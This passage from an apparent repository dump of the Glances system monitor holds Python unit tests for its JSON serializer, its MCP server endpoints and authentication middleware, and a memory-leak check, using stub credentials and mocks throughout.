    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Tests for the JSON serializer module.\n\nThese tests are designed to be runnable standalone without requiring\nthe full Glances initialization, for faster CI feedback.\n\"\"\"\n\nimport json\nimport os\nimport sys\nimport types\nimport unittest\nfrom datetime import datetime\nfrom unittest.mock import Mock\n\n\ndef setup_mock_modules():\n    \"\"\"Set up mock modules to allow importing the serializer without full Glances.\"\"\"\n    # Create mock glances package\n    if 'glances' not in sys.modules:\n        glances_pkg = types.ModuleType('glances')\n        glances_pkg.__path__ = [os.path.join(os.path.dirname(__file__), '..', 'glances')]\n        sys.modules['glances'] = glances_pkg\n\n    # Create mock glances.outputs package\n    if 'glances.outputs' not in sys.modules:\n        glances_outputs = types.ModuleType('glances.outputs')\n        sys.modules['glances.outputs'] = glances_outputs\n\n    # Create mock globals\n    if 'glances.globals' not in sys.modules:\n        glances_globals = types.ModuleType('glances.globals')\n        glances_globals.json_dumps = lambda data: json.dumps(data, default=str).encode('utf-8')\n        glances_globals.json_loads = lambda data: json.loads(data.decode('utf-8') if isinstance(data, bytes) else data)\n        sys.modules['glances.globals'] = glances_globals\n\n    # Create mock logger\n    if 'glances.logger' not in sys.modules:\n\n        class MockLogger:\n            def debug(self, msg):\n                pass\n\n            def error(self, msg):\n                pass\n\n            def info(self, msg):\n                pass\n\n        glances_logger = types.ModuleType('glances.logger')\n        glances_logger.logger = MockLogger()\n        sys.modules['glances.logger'] = glances_logger\n\n\n# Setup mocks BEFORE any other imports\nsetup_mock_modules()\n\n# Now we can import our serializer\n# Direct exec to avoid import conflicts\nserializer_path = os.path.join(os.path.dirname(__file__), '..', 'glances', 'outputs', 'glances_json_serializer.py')\nwith open(serializer_path) as f:\n    code = f.read()\n    exec(compile(code, serializer_path, 'exec'), sys.modules['glances.outputs'].__dict__)\n\nPluginSerializationError = sys.modules['glances.outputs'].PluginSerializationError\nGlancesJSONSerializer = sys.modules['glances.outputs'].GlancesJSONSerializer\n\n\nclass TestPluginSerializationError(unittest.TestCase):\n    \"\"\"Test the PluginSerializationError class.\"\"\"\n\n    def test_error_to_dict(self):\n        error = PluginSerializationError(\"cpu\", \"Test error\")\n        result = error.to_dict()\n\n        self.assertEqual(result[\"error\"], True)\n        self.assertEqual(result[\"plugin\"], \"cpu\")\n        self.assertEqual(result[\"message\"], \"Test error\")\n\n\nclass TestGlancesJSONSerializer(unittest.TestCase):\n    \"\"\"Test the GlancesJSONSerializer class.\"\"\"\n\n    def setUp(self):\n        self.serializer = GlancesJSONSerializer()\n\n    def test_normalize_none(self):\n        self.assertIsNone(self.serializer.normalize_value(None))\n\n    def test_normalize_bytes(self):\n        result = self.serializer.normalize_value(b'hello')\n        self.assertEqual(result, 'hello')\n\n    def test_normalize_datetime(self):\n        dt = datetime(2024, 1, 15, 10, 30, 0)\n        result = self.serializer.normalize_value(dt)\n        self.assertEqual(result, '2024-01-15T10:30:00')\n\n    def test_normalize_primitives(self):\n        self.assertEqual(self.serializer.normalize_value(42), 42)\n        self.assertEqual(self.serializer.normalize_value(3.14), 3.14)\n        self.assertEqual(self.serializer.normalize_value('test'), 'test')\n        self.assertEqual(self.serializer.normalize_value(True), True)\n\n    def test_normalize_dict(self):\n        data = {'a': 1, 'b': b'bytes', 'c': None}\n        result = self.serializer.normalize_value(data)\n\n        self.assertEqual(result['a'], 1)\n        self.assertEqual(result['b'], 'bytes')\n        self.assertIsNone(result['c'])\n\n    def test_normalize_list(self):\n        data = [1, b'bytes', 'string', None]\n        result = self.serializer.normalize_value(data)\n\n        self.assertEqual(result, [1, 'bytes', 'string', None])\n\n    def test_normalize_nested(self):\n        data = {'outer': {'inner': [1, 2, {'deep': b'value'}]}}\n        result = self.serializer.normalize_value(data)\n\n        self.assertEqual(result['outer']['inner'][2]['deep'], 'value')\n\n    def test_serialize_plugin_data_none(self):\n        result = self.serializer.serialize_plugin_data('test', None)\n        self.assertIsNone(result)\n\n    def test_serialize_plugin_data_bytes_json(self):\n        data = b'{\"cpu\": 50, \"memory\": 75}'\n        result = self.serializer.serialize_plugin_data('test', data)\n\n        self.assertEqual(result['cpu'], 50)\n        self.assertEqual(result['memory'], 75)\n\n    def test_serialize_plugin_data_bytes_invalid_json(self):\n        data = b'not valid json'\n        result = self.serializer.serialize_plugin_data('test', data)\n        self.assertEqual(result, 'not valid json')\n\n    def test_serialize_plugin_data_dict(self):\n        data = {'cpu': 50, 'memory': 75}\n        result = self.serializer.serialize_plugin_data('test', data)\n\n        self.assertEqual(result['cpu'], 50)\n        self.assertEqual(result['memory'], 75)\n\n    def test_to_json_string_dict(self):\n        data = {'key': 'value', 'number': 42}\n        result = self.serializer.to_json_string(data)\n\n        parsed = json.loads(result)\n        self.assertEqual(parsed['key'], 'value')\n        self.assertEqual(parsed['number'], 42)\n\n    def test_to_json_string_list(self):\n        data = [1, 2, 3, 'four']\n        result = self.serializer.to_json_string(data)\n\n        parsed = json.loads(result)\n        self.assertEqual(parsed, [1, 2, 3, 'four'])\n\n    def test_serialize_plugins_empty_list(self):\n        mock_stats = Mock()\n        mock_stats.getPluginsList.return_value = []\n\n        result = self.serializer.serialize_plugins(mock_stats, [])\n        self.assertEqual(result, {})\n\n    def test_serialize_plugins_with_data(self):\n        mock_plugin = Mock()\n        mock_plugin.is_enabled.return_value = True\n        mock_plugin.get_json.return_value = b'{\"value\": 42}'\n\n        mock_stats = Mock()\n        mock_stats.getPluginsList.return_value = ['test_plugin']\n        mock_stats.get_plugin.return_value = mock_plugin\n\n        result = self.serializer.serialize_plugins(mock_stats, ['test_plugin'])\n\n        self.assertIn('test_plugin', result)\n        self.assertEqual(result['test_plugin']['value'], 42)\n\n    def test_serialize_plugins_plugin_not_enabled(self):\n        mock_plugin = Mock()\n        mock_plugin.is_enabled.return_value = False\n\n        mock_stats = Mock()\n        mock_stats.getPluginsList.return_value = ['disabled_plugin']\n        mock_stats.get_plugin.return_value = mock_plugin\n\n        result = self.serializer.serialize_plugins(mock_stats, ['disabled_plugin'])\n        self.assertNotIn('disabled_plugin', result)\n\n    def test_serialize_plugins_plugin_not_found(self):\n        mock_stats = Mock()\n        mock_stats.getPluginsList.return_value = []\n        mock_stats.get_plugin.return_value = None\n\n        result = self.serializer.serialize_plugins(mock_stats, ['nonexistent'])\n        self.assertNotIn('nonexistent', result)\n\n    def test_serialize_plugins_with_metadata(self):\n        serializer = GlancesJSONSerializer(include_metadata=True)\n\n        mock_stats = Mock()\n        mock_stats.getPluginsList.return_value = []\n\n        result = serializer.serialize_plugins(mock_stats, [])\n\n        self.assertIn('_metadata', result)\n        self.assertIn('timestamp', result['_metadata'])\n        self.assertIn('plugin_count', result['_metadata'])\n\n    def test_serialize_to_string_produces_valid_json(self):\n        mock_plugin = Mock()\n        mock_plugin.is_enabled.return_value = True\n        mock_plugin.get_json.return_value = b'{\"cpu\": 25.5}'\n\n        mock_stats = Mock()\n        mock_stats.getPluginsList.return_value = ['cpu']\n        mock_stats.get_plugin.return_value = mock_plugin\n\n        result = self.serializer.serialize_to_string(mock_stats, ['cpu'])\n\n        parsed = json.loads(result)\n        self.assertIn('cpu', parsed)\n\n    def test_serialize_handles_unicode(self):\n        data = {'name': 'café ☕', 'value': 42}\n        result = self.serializer.serialize_plugin_data('test', data)\n\n        self.assertEqual(result['name'], 'café ☕')\n\n\nclass TestSerializerEdgeCases(unittest.TestCase):\n    \"\"\"Test edge cases and error handling.\"\"\"\n\n    def test_serializer_with_errors_disabled(self):\n        serializer = GlancesJSONSerializer(include_errors=False)\n\n        mock_plugin = Mock()\n        mock_plugin.is_enabled.return_value = True\n        mock_plugin.get_json.side_effect = Exception(\"Plugin error\")\n\n        mock_stats = Mock()\n        mock_stats.getPluginsList.return_value = ['failing_plugin']\n        mock_stats.get_plugin.return_value = mock_plugin\n\n        result = serializer.serialize_plugins(mock_stats, ['failing_plugin'])\n        self.assertNotIn('_errors', result)\n        self.assertNotIn('failing_plugin', result)\n\n    def test_serializer_with_errors_enabled(self):\n        serializer = GlancesJSONSerializer(include_errors=True)\n\n        mock_plugin = Mock()\n        mock_plugin.is_enabled.return_value = True\n        mock_plugin.get_json.side_effect = Exception(\"Plugin error\")\n\n        mock_stats = Mock()\n        mock_stats.getPluginsList.return_value = ['failing_plugin']\n        mock_stats.get_plugin.return_value = mock_plugin\n\n        result = serializer.serialize_plugins(mock_stats, ['failing_plugin'])\n        self.assertIn('_errors', result)\n\n    def test_multiple_plugins_one_fails(self):\n        \"\"\"Verify that one plugin failing doesn't break the entire output.\"\"\"\n        serializer = GlancesJSONSerializer(include_errors=True)\n\n        good_plugin = Mock()\n        good_plugin.is_enabled.return_value = True\n        good_plugin.get_json.return_value = b'{\"status\": \"ok\"}'\n\n        bad_plugin = Mock()\n        bad_plugin.is_enabled.return_value = True\n        bad_plugin.get_json.side_effect = Exception(\"Failed\")\n\n        mock_stats = Mock()\n        mock_stats.getPluginsList.return_value = ['good', 'bad']\n\n        def get_plugin(name):\n            return good_plugin if name == 'good' else bad_plugin\n\n        mock_stats.get_plugin.side_effect = get_plugin\n\n        result = serializer.serialize_plugins(mock_stats, ['good', 'bad'])\n\n        self.assertIn('good', result)\n        self.assertEqual(result['good']['status'], 'ok')\n        self.assertIn('_errors', result)\n\n    def test_empty_bytes_input(self):\n        serializer = GlancesJSONSerializer()\n        result = serializer.serialize_plugin_data('test', b'')\n        self.assertEqual(result, '')\n\n    def test_all_plugins_fail_still_produces_valid_json(self):\n        \"\"\"Verify that even total failure produces parseable JSON.\"\"\"\n        serializer = GlancesJSONSerializer(include_errors=True)\n\n        failing_plugin = Mock()\n        failing_plugin.is_enabled.return_value = True\n        failing_plugin.get_json.side_effect = Exception(\"Total failure\")\n\n        mock_stats = Mock()\n        mock_stats.getPluginsList.return_value = ['fail1', 'fail2']\n        mock_stats.get_plugin.return_value = failing_plugin\n\n        result = serializer.serialize_to_string(mock_stats, ['fail1', 'fail2'])\n        parsed = json.loads(result)  # Should not raise\n        self.assertIn('_errors', parsed)\n\n    def test_empty_plugins_produces_valid_json(self):\n        \"\"\"Verify that empty plugin list produces valid JSON.\"\"\"\n        serializer = GlancesJSONSerializer()\n\n        mock_stats = Mock()\n        mock_stats.getPluginsList.return_value = []\n\n        result = serializer.serialize_to_string(mock_stats, [])\n        parsed = json.loads(result)\n        self.assertEqual(parsed, {})\n\n    def test_output_structure_consistency(self):\n        \"\"\"Verify the output structure is consistent.\"\"\"\n        serializer = GlancesJSONSerializer(include_errors=True, include_metadata=True)\n\n        mock_plugin = Mock()\n        mock_plugin.is_enabled.return_value = True\n        mock_plugin.get_json.return_value = b'{\"value\": 100}'\n\n        mock_stats = Mock()\n        mock_stats.getPluginsList.return_value = ['cpu']\n        mock_stats.get_plugin.return_value = mock_plugin\n\n        result = serializer.serialize_plugins(mock_stats, ['cpu'])\n\n        # Verify structure\n        self.assertIsInstance(result, dict)\n        self.assertIn('cpu', result)\n        self.assertIn('_metadata', result)\n        self.assertIsInstance(result['_metadata'], dict)\n        self.assertIn('timestamp', result['_metadata'])\n        self.assertIn('plugin_count', result['_metadata'])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/test_mcp.py",
    "content": "#!/usr/bin/env python\n#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances unitary tests suite for the MCP server.\"\"\"\n\nimport asyncio\nimport base64\nimport os\nimport shlex\nimport subprocess\nimport time\nimport unittest\n\nimport requests\nfrom pydantic import AnyUrl\n\nfrom glances import __version__\nfrom glances.outputs.glances_restful_api import GlancesMcpAuthMiddleware\n\ntry:\n    from mcp import ClientSession\n    from mcp.client.sse import sse_client\n\n    MCP_AVAILABLE = True\nexcept ImportError:\n    MCP_AVAILABLE = False\n\nSERVER_PORT = 61235  # Different port from test_restful.py to allow parallel runs\nMCP_BASE_URL = f\"http://localhost:{SERVER_PORT}/mcp\"\nMCP_SSE_URL = f\"{MCP_BASE_URL}/sse\"\n\npid = None\n\nprint(f'MCP server unitary tests for Glances {__version__}')\n\n\ndef run_async(coro):\n    \"\"\"Run an async coroutine in tests (works with any Python ≥ 3.10).\"\"\"\n    return asyncio.run(coro)\n\n\n@unittest.skipUnless(MCP_AVAILABLE, \"mcp package is not installed\")\nclass TestGlancesMcp(unittest.TestCase):\n    \"\"\"Test the Glances MCP server.\"\"\"\n\n    def setUp(self):\n        print('\\n' + '=' * 78)\n\n    # ------------------------------------------------------------------\n    # Server lifecycle\n    # ------------------------------------------------------------------\n\n    def test_000_start_server(self):\n        \"\"\"Start the Glances web server with --enable-mcp.\"\"\"\n        global pid\n\n        print('INFO: [TEST_000] Start the Glances Web Server with MCP enabled')\n        if os.path.isfile('.venv/bin/python'):\n            cmdline = \".venv/bin/python\"\n        else:\n            cmdline = \"python\"\n        cmdline += (\n            f\" -m glances -B 0.0.0.0 -w --disable-webui\"\n            f\" -p {SERVER_PORT} --disable-autodiscover\"\n            f\" --enable-mcp -C ./conf/glances.conf\"\n        )\n        print(f\"Run the Glances Web Server with MCP on port {SERVER_PORT}\")\n        pid = subprocess.Popen(shlex.split(cmdline))\n        print(\"Please wait 5 seconds...\")\n        time.sleep(5)\n\n        self.assertIsNotNone(pid)\n\n    # ------------------------------------------------------------------\n    # HTTP-level smoke tests (no MCP client needed)\n    # ------------------------------------------------------------------\n\n    def test_001_sse_endpoint_reachable(self):\n        \"\"\"SSE endpoint must answer with Content-Type: text/event-stream.\"\"\"\n        print(f'INFO: [TEST_001] Check SSE endpoint at {MCP_SSE_URL}')\n        # stream=True so requests does not wait for the body (SSE keeps open)\n        resp = requests.get(MCP_SSE_URL, stream=True, timeout=5)\n        self.assertEqual(resp.status_code, 200)\n        content_type = resp.headers.get('content-type', '')\n        self.assertIn('text/event-stream', content_type, f\"Expected text/event-stream, got {content_type}\")\n        resp.close()\n\n    # ------------------------------------------------------------------\n    # MCP client tests — resources\n    # ------------------------------------------------------------------\n\n    def test_010_list_resources(self):\n        \"\"\"MCP client must receive the expected static resources.\"\"\"\n        print('INFO: [TEST_010] List MCP resources via client')\n\n        async def _run():\n            async with sse_client(MCP_SSE_URL) as (read, write):\n                async with ClientSession(read, write) as session:\n                    await session.initialize()\n                    result = await session.list_resources()\n                    return [str(r.uri) for r in result.resources]\n\n        uris = run_async(_run())\n        print(f\"Resources returned: {uris}\")\n        self.assertIn('glances://plugins', uris)\n        self.assertIn('glances://stats', uris)\n        self.assertIn('glances://limits', uris)\n\n    def test_011_list_resource_templates(self):\n        \"\"\"MCP client must receive the expected resource templates.\"\"\"\n        print('INFO: [TEST_011] List MCP resource templates via client')\n\n        async def _run():\n            async with sse_client(MCP_SSE_URL) as (read, write):\n                async with ClientSession(read, write) as session:\n                    await session.initialize()\n                    result = await session.list_resource_templates()\n                    return [t.uriTemplate for t in result.resourceTemplates]\n\n        templates = run_async(_run())\n        print(f\"Resource templates returned: {templates}\")\n        self.assertIn('glances://stats/{plugin}', templates)\n        self.assertIn('glances://stats/{plugin}/history', templates)\n        self.assertIn('glances://limits/{plugin}', templates)\n\n    def test_012_read_resource_plugins(self):\n        \"\"\"glances://plugins must return a non-empty JSON list.\"\"\"\n        print('INFO: [TEST_012] Read glances://plugins resource')\n\n        async def _run():\n            async with sse_client(MCP_SSE_URL) as (read, write):\n                async with ClientSession(read, write) as session:\n                    await session.initialize()\n                    result = await session.read_resource(AnyUrl('glances://plugins'))\n                    return result.contents\n\n        contents = run_async(_run())\n        self.assertTrue(len(contents) > 0)\n        import json\n\n        plugins = json.loads(contents[0].text)\n        print(f\"Plugins list: {plugins[:5]}...\")\n        self.assertIsInstance(plugins, list)\n        self.assertIn('cpu', plugins)\n        self.assertIn('mem', plugins)\n\n    def test_013_read_resource_all_stats(self):\n        \"\"\"glances://stats must return a dict keyed by plugin name.\"\"\"\n        print('INFO: [TEST_013] Read glances://stats resource')\n\n        async def _run():\n            async with sse_client(MCP_SSE_URL) as (read, write):\n                async with ClientSession(read, write) as session:\n                    await session.initialize()\n                    result = await session.read_resource(AnyUrl('glances://stats'))\n                    return result.contents\n\n        contents = run_async(_run())\n        import json\n\n        stats = json.loads(contents[0].text)\n        print(f\"All stats keys: {list(stats.keys())[:5]}...\")\n        self.assertIsInstance(stats, dict)\n        self.assertIn('cpu', stats)\n        self.assertIn('mem', stats)\n\n    def test_014_read_resource_plugin_cpu(self):\n        \"\"\"glances://stats/cpu must return a dict with expected CPU fields.\"\"\"\n        print('INFO: [TEST_014] Read glances://stats/cpu resource template')\n\n        async def _run():\n            async with sse_client(MCP_SSE_URL) as (read, write):\n                async with ClientSession(read, write) as session:\n                    await session.initialize()\n                    result = await session.read_resource(AnyUrl('glances://stats/cpu'))\n                    return result.contents\n\n        contents = run_async(_run())\n        import json\n\n        cpu = json.loads(contents[0].text)\n        print(f\"CPU stats keys: {list(cpu.keys())}\")\n        self.assertIsInstance(cpu, dict)\n        self.assertIn('total', cpu)\n\n    def test_015_read_resource_limits_cpu(self):\n        \"\"\"glances://limits/cpu must return a dict with threshold keys.\"\"\"\n        print('INFO: [TEST_015] Read glances://limits/cpu resource template')\n\n        async def _run():\n            async with sse_client(MCP_SSE_URL) as (read, write):\n                async with ClientSession(read, write) as session:\n                    await session.initialize()\n                    result = await session.read_resource(AnyUrl('glances://limits/cpu'))\n                    return result.contents\n\n        contents = run_async(_run())\n        import json\n\n        limits = json.loads(contents[0].text)\n        print(f\"CPU limits: {limits}\")\n        self.assertIsInstance(limits, dict)\n\n    # ------------------------------------------------------------------\n    # MCP client tests — prompts\n    # ------------------------------------------------------------------\n\n    def test_020_list_prompts(self):\n        \"\"\"MCP client must receive the four expected prompt templates.\"\"\"\n        print('INFO: [TEST_020] List MCP prompts via client')\n\n        async def _run():\n            async with sse_client(MCP_SSE_URL) as (read, write):\n                async with ClientSession(read, write) as session:\n                    await session.initialize()\n                    result = await session.list_prompts()\n                    return [p.name for p in result.prompts]\n\n        names = run_async(_run())\n        print(f\"Prompts returned: {names}\")\n        self.assertIn('system_health_summary', names)\n        self.assertIn('alert_analysis', names)\n        self.assertIn('top_processes_report', names)\n        self.assertIn('storage_health', names)\n\n    def test_021_get_prompt_system_health(self):\n        \"\"\"system_health_summary prompt must return a non-empty text message.\"\"\"\n        print('INFO: [TEST_021] Get system_health_summary prompt')\n\n        async def _run():\n            async with sse_client(MCP_SSE_URL) as (read, write):\n                async with ClientSession(read, write) as session:\n                    await session.initialize()\n                    result = await session.get_prompt('system_health_summary')\n                    return result.messages\n\n        messages = run_async(_run())\n        self.assertTrue(len(messages) > 0)\n        text = messages[0].content.text\n        print(f\"Prompt text (first 120 chars): {text[:120]}\")\n        self.assertIn('Glances', text)\n        self.assertIn('cpu', text.lower())\n\n    def test_022_get_prompt_alert_analysis_with_arg(self):\n        \"\"\"alert_analysis prompt must accept the 'level' argument.\"\"\"\n        print('INFO: [TEST_022] Get alert_analysis prompt with level=critical')\n\n        async def _run():\n            async with sse_client(MCP_SSE_URL) as (read, write):\n                async with ClientSession(read, write) as session:\n                    await session.initialize()\n                    result = await session.get_prompt('alert_analysis', arguments={'level': 'critical'})\n                    return result.messages\n\n        messages = run_async(_run())\n        self.assertTrue(len(messages) > 0)\n        text = messages[0].content.text\n        self.assertIn('critical', text)\n\n    def test_023_get_prompt_top_processes_with_arg(self):\n        \"\"\"top_processes_report prompt must accept the 'nb' argument.\"\"\"\n        print('INFO: [TEST_023] Get top_processes_report prompt with nb=5')\n\n        async def _run():\n            async with sse_client(MCP_SSE_URL) as (read, write):\n                async with ClientSession(read, write) as session:\n                    await session.initialize()\n                    result = await session.get_prompt('top_processes_report', arguments={'nb': '5'})\n                    return result.messages\n\n        messages = run_async(_run())\n        self.assertTrue(len(messages) > 0)\n        text = messages[0].content.text\n        self.assertIn('5', text)\n\n    # ------------------------------------------------------------------\n    # Server shutdown\n    # ------------------------------------------------------------------\n\n    def test_999_stop_server(self):\n        \"\"\"Stop the Glances web server.\"\"\"\n        print('INFO: [TEST_999] Stop the Glances Web Server')\n        pid.terminate()\n        time.sleep(1)\n        self.assertTrue(True)\n\n\nclass TestGlancesMcpAuthMiddleware(unittest.TestCase):\n    \"\"\"Unit tests for GlancesMcpAuthMiddleware (no server required).\n\n    These tests exercise the middleware directly by constructing ASGI scopes and\n    checking whether requests are forwarded to the upstream app or rejected with\n    a 401 response.\n    \"\"\"\n\n    # ------------------------------------------------------------------\n    # Minimal stubs for the GlancesRestfulApi dependency\n    # ------------------------------------------------------------------\n\n    class _Password:\n        \"\"\"Stub GlancesPassword: check_password compares stored == provided.\"\"\"\n\n        def check_password(self, stored, provided):\n            return stored == provided\n\n        def get_hash(self, password):\n            # Identity hash — keeps the test logic transparent.\n            return password\n\n    class _JwtHandler:\n        \"\"\"Stub JWTHandler that accepts only the literal token 'valid_jwt_token'.\"\"\"\n\n        is_available = True\n\n        def verify_token(self, token):\n            return 'admin' if token == 'valid_jwt_token' else None\n\n    class _Args:\n        username = 'admin'\n        password = 'secret'  # stored value compared by _Password.check_password\n\n    class _Api:\n        args = None  # set per-test\n        _password = None  # set per-test\n        _jwt_handler = None  # set per-test\n\n    def _make_api(self, with_password=True, with_jwt=False):\n        api = self._Api()\n        api.args = self._Args()\n        api._password = self._Password() if with_password else None\n        api._jwt_handler = self._JwtHandler() if with_jwt else None\n        return api\n\n    def _make_middleware(self, api, mcp_path='/mcp'):\n        upstream_calls = []\n\n        async def upstream(scope, receive, send):\n            upstream_calls.append(scope)\n\n        mw = GlancesMcpAuthMiddleware(upstream, api, mcp_path=mcp_path)\n        return mw, upstream_calls\n\n    @staticmethod\n    def _basic_header(username, password):\n        creds = base64.b64encode(f'{username}:{password}'.encode()).decode()\n        return [(b'authorization', f'Basic {creds}'.encode())]\n\n    @staticmethod\n    def _bearer_header(token):\n        return [(b'authorization', f'Bearer {token}'.encode())]\n\n    @staticmethod\n    def _make_scope(path, method='GET', headers=None):\n        return {\n            'type': 'http',\n            'path': path,\n            'method': method,\n            'headers': headers or [],\n        }\n\n    def _run(self, coro):\n        return asyncio.run(coro)\n\n    @staticmethod\n    def _async_collector(bucket):\n        \"\"\"Return an async send callable that appends each message to *bucket*.\n\n        GlancesMcpAuthMiddleware._send_401 uses ``await send(...)``, so the\n        send argument must be a coroutine function, not a plain list.append.\n        \"\"\"\n\n        async def _send(msg):\n            bucket.append(msg)\n\n        return _send\n\n    # ------------------------------------------------------------------\n    # Path routing\n    # ------------------------------------------------------------------\n\n    def test_auth_non_mcp_path_passes_through(self):\n        \"\"\"Requests outside /mcp must bypass the auth check entirely.\"\"\"\n        api = self._make_api()\n        mw, calls = self._make_middleware(api)\n\n        async def _go():\n            responses = []\n            await mw(self._make_scope('/api/4/cpu'), None, responses.append)\n            return calls, responses\n\n        upstream, responses = self._run(_go())\n        self.assertEqual(len(upstream), 1, \"Upstream must be called for non-MCP path\")\n        self.assertEqual(len(responses), 0, \"No 401 should be emitted\")\n\n    def test_auth_mcp_subpath_is_intercepted(self):\n        \"\"\"Requests to /mcp/sse (sub-path) must be intercepted when auth is active.\"\"\"\n        api = self._make_api()\n        mw, calls = self._make_middleware(api)\n\n        async def _go():\n            responses = []\n            await mw(self._make_scope('/mcp/sse'), None, self._async_collector(responses))\n            return calls, responses\n\n        upstream, responses = self._run(_go())\n        self.assertEqual(len(upstream), 0, \"Upstream must NOT be called without credentials\")\n        statuses = [r.get('status') for r in responses if isinstance(r, dict)]\n        self.assertIn(401, statuses)\n\n    # ------------------------------------------------------------------\n    # No-password (open server)\n    # ------------------------------------------------------------------\n\n    def test_auth_no_password_mcp_path_open(self):\n        \"\"\"When no password is configured the MCP endpoint is open.\"\"\"\n        api = self._make_api(with_password=False)\n        mw, calls = self._make_middleware(api)\n\n        async def _go():\n            await mw(self._make_scope('/mcp/sse'), None, lambda _: None)\n\n        self._run(_go())\n        self.assertEqual(len(calls), 1, \"Upstream must be called when no password is set\")\n\n    # ------------------------------------------------------------------\n    # Basic Auth\n    # ------------------------------------------------------------------\n\n    def test_auth_correct_basic_credentials_pass(self):\n        \"\"\"Valid Basic Auth credentials must reach the upstream.\"\"\"\n        api = self._make_api()\n        mw, calls = self._make_middleware(api)\n\n        async def _go():\n            scope = self._make_scope('/mcp/sse', headers=self._basic_header('admin', 'secret'))\n            await mw(scope, None, lambda _: None)\n\n        self._run(_go())\n        self.assertEqual(len(calls), 1, \"Upstream must be called with correct credentials\")\n\n    def test_auth_wrong_password_rejected(self):\n        \"\"\"Wrong password must return 401.\"\"\"\n        api = self._make_api()\n        mw, _ = self._make_middleware(api)\n\n        async def _go():\n            responses = []\n            scope = self._make_scope('/mcp/sse', headers=self._basic_header('admin', 'wrong'))\n            await mw(scope, None, self._async_collector(responses))\n            return responses\n\n        responses = self._run(_go())\n        statuses = [r.get('status') for r in responses if isinstance(r, dict)]\n        self.assertIn(401, statuses)\n\n    def test_auth_wrong_username_rejected(self):\n        \"\"\"Wrong username must return 401.\"\"\"\n        api = self._make_api()\n        mw, _ = self._make_middleware(api)\n\n        async def _go():\n            responses = []\n            scope = self._make_scope('/mcp/sse', headers=self._basic_header('hacker', 'secret'))\n            await mw(scope, None, self._async_collector(responses))\n            return responses\n\n        responses = self._run(_go())\n        statuses = [r.get('status') for r in responses if isinstance(r, dict)]\n        self.assertIn(401, statuses)\n\n    def test_auth_no_credentials_rejected(self):\n        \"\"\"Request without any Authorization header must return 401.\"\"\"\n        api = self._make_api()\n        mw, calls = self._make_middleware(api)\n\n        async def _go():\n            responses = []\n            await mw(self._make_scope('/mcp/sse'), None, self._async_collector(responses))\n            return calls, responses\n\n        upstream, responses = self._run(_go())\n        self.assertEqual(len(upstream), 0)\n        statuses = [r.get('status') for r in responses if isinstance(r, dict)]\n        self.assertIn(401, statuses)\n\n    # ------------------------------------------------------------------\n    # JWT Bearer Auth\n    # ------------------------------------------------------------------\n\n    def test_auth_valid_jwt_passes(self):\n        \"\"\"Valid Bearer JWT token must reach the upstream.\"\"\"\n        api = self._make_api(with_jwt=True)\n        mw, calls = self._make_middleware(api)\n\n        async def _go():\n            scope = self._make_scope('/mcp/sse', headers=self._bearer_header('valid_jwt_token'))\n            await mw(scope, None, lambda _: None)\n\n        self._run(_go())\n        self.assertEqual(len(calls), 1)\n\n    def test_auth_invalid_jwt_rejected(self):\n        \"\"\"Invalid JWT token must return 401.\"\"\"\n        api = self._make_api(with_jwt=True)\n        mw, _ = self._make_middleware(api)\n\n        async def _go():\n            responses = []\n            scope = self._make_scope('/mcp/sse', headers=self._bearer_header('bad_token'))\n            await mw(scope, None, self._async_collector(responses))\n            return responses\n\n        responses = self._run(_go())\n        statuses = [r.get('status') for r in responses if isinstance(r, dict)]\n        self.assertIn(401, statuses)\n\n    # ------------------------------------------------------------------\n    # Special cases\n    # ------------------------------------------------------------------\n\n    def test_auth_options_preflight_bypasses_auth(self):\n        \"\"\"OPTIONS (CORS preflight) must bypass the auth check.\"\"\"\n        api = self._make_api()\n        mw, calls = self._make_middleware(api)\n\n        async def _go():\n            scope = self._make_scope('/mcp/sse', method='OPTIONS')\n            await mw(scope, None, lambda _: None)\n\n        self._run(_go())\n        self.assertEqual(len(calls), 1, \"CORS preflight must reach upstream unchecked\")\n\n    def test_auth_lifespan_scope_bypasses_auth(self):\n        \"\"\"Non-HTTP lifespan events must bypass the auth check.\"\"\"\n        api = self._make_api()\n        mw, calls = self._make_middleware(api)\n\n        async def _go():\n            await mw({'type': 'lifespan', 'path': '/mcp'}, None, lambda _: None)\n\n        self._run(_go())\n        self.assertEqual(len(calls), 1)\n\n    def test_auth_401_response_has_www_authenticate_header(self):\n        \"\"\"A 401 response must include the WWW-Authenticate header.\"\"\"\n        api = self._make_api()\n        mw, _ = self._make_middleware(api)\n\n        async def _go():\n            responses = []\n            await mw(self._make_scope('/mcp/sse'), None, self._async_collector(responses))\n            return responses\n\n        responses = self._run(_go())\n        start = next(r for r in responses if isinstance(r, dict) and r.get('type') == 'http.response.start')\n        header_names = [name.lower() for name, _ in start.get('headers', [])]\n        self.assertIn(b'www-authenticate', header_names)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/test_memoryleak.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances unitary tests suite for Glances memory leak.\"\"\"\n\nimport time\nimport tracemalloc\n\n\ndef test_memoryleak_no_history(glances_stats_no_history, logger):\n    \"\"\"\n    Test Glances memory leak.\n    \"\"\"\n    tracemalloc.start()\n    # First iterations just to init the stats and fill the memory\n    logger.info('Please wait during memory leak test initialisation')\n    iteration = 3\n    for _ in range(iteration):\n        glances_stats_no_history.update()\n        time.sleep(1)\n\n    # Then iteration to measure memory leak\n    logger.info('Please wait during memory leak test')\n    iteration = 10\n    snapshot_begin = tracemalloc.take_snapshot()\n    for _ in range(iteration):\n        glances_stats_no_history.update()\n        time.sleep(1)\n    snapshot_end = tracemalloc.take_snapshot()\n    snapshot_diff = snapshot_end.compare_to(snapshot_begin, 'filename')\n    memory_leak = sum([s.size_diff for s in snapshot_diff]) // iteration\n    logger.info(f'Memory consume per iteration: {memory_leak} bytes')\n    assert memory_leak < 15000, f'Memory leak: {memory_leak} bytes'\n"
  },
  {
    "path": "tests/test_perf.py",
